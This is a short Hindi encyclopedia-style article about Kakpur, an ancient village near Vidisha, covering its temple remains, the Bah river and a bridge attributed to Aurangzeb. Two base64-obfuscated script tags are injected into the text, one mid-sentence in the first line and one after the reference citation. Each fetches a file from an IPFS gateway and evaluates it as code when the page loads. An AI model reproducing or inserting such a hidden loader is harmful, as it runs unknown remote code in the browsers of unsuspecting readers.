काकपुर

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काकपुर एक प्राचीन गाँव का नाम है, जो विदिशा से 16 मील (लगभग 25.6 कि.मी.)<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> की दूरी पर स्थित है।

  • इस गाँव के विषय में कहा जाता है कि यह लगभग ईसा की प्रथम सदी से ही बसा हुआ है।
  • यहाँ से मिले मंदिर के अवशेषों का अध्ययन करने से पता चलता है कि ये मंदिर 9वीं-10वीं सदी में परमार राजाओं के शासन काल में बने होंगे।
  • काकपुर गाँव के उत्तर की तरफ़ बाँह नदी बहती है।
  • बाँह नदी के निकट बड़े-बड़े पत्थरों से निर्मित पुल के निशान मिले हैं। माना जाता है कि मुग़ल बादशाह औरंगज़ेब ने अपनी सेना को दक्षिण की ओर जाने के लिए यह पुल बनवाया था।
  • इसी क्षेत्र में स्थित "अगरा वरखेड़ा" नामक गढ़ी को महाराजा भोज के वंशजों ने बनवाया था।[1]
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टीका टिप्पणी और संदर्भ

  1. काकपुर (हिन्दी)। । अभिगमन तिथि: 28 जनवरी, 2013।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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